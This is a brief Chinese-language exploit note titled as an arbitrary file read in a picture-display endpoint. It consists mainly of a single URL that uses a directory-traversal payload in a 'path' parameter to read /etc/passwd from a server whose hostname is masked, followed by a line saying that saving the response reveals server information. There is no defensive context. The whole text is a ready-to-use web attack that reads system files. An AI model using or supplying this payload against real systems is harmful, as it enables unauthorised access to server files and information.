图片读取处任意文件读取

https://x x x x.com/showPicture.htm?path=../../../../../../../../../etc/passwd

保存后可查看服务器信息：